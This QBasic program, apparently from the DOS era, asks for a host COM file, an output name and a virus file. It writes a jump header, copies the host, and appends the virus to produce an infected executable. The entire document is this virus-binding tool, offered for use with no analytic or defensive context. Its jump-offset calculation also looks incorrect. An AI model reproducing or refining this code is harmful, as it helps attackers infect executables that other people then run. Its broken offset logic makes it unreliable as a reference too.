DIM dd AS STRING * 1
DECLARE FUNCTION Dec! (hx$)
CLS
PRINT "All files must be COM files!"
INPUT "In Filename"; f$
INPUT "Out Filename"; of$
INPUT "Virus Filename"; vf$
OPEN f$ FOR BINARY AS #1
OPEN of$ FOR BINARY AS #2
OPEN vf$ FOR BINARY AS #3
ltr = LOF(3)
lr = LOF(1)
fs = LOF(1) + LEN(LTRIM$(RTRIM$(STR$(LOF(1))))) - 1
oo$ = ""
mm$ = UCASE$(RTRIM$(LTRIM$(STR$(fs - 1))))
FOR q = LEN(mm$) + 1 TO 1 STEP -2
IF VAL(MID$(mm$, q, 2)) = 0 THEN GOTO 2
oo$ = oo$ + CHR$(VAL(MID$(mm$, q, 2)))
2 NEXT q
Hdr$ = "é" + oo$
FOR e = 1 TO LEN(Hdr$)
ff$ = MID$(Hdr$, e, 1)
PUT #2, , ff$
NEXT e
FOR mm = 1 TO LOF(1)
GET #1, mm, dd
PUT #2, , dd
dd = ""
NEXT mm
dd = ""
FOR m2 = 1 TO LOF(3)
GET #3, m2, dd
PUT #2, , dd
dd = ""
NEXT m2
CLOSE 1, 2, 3
OPEN of$ FOR INPUT AS #1
ms = LOF(1)
CLOSE 1
IF ms - ltr - LEN(Hdr$) = lr THEN PRINT "Success "; of$; " created from "; f$; " & "; vf$; "." ELSE PRINT ms; " - "; ltr; " - "; LEN(Hdr$); " != "; lr: PRINT ms; " - "; ltr; " - "; LEN(Hdr$); " = "; ms - ltr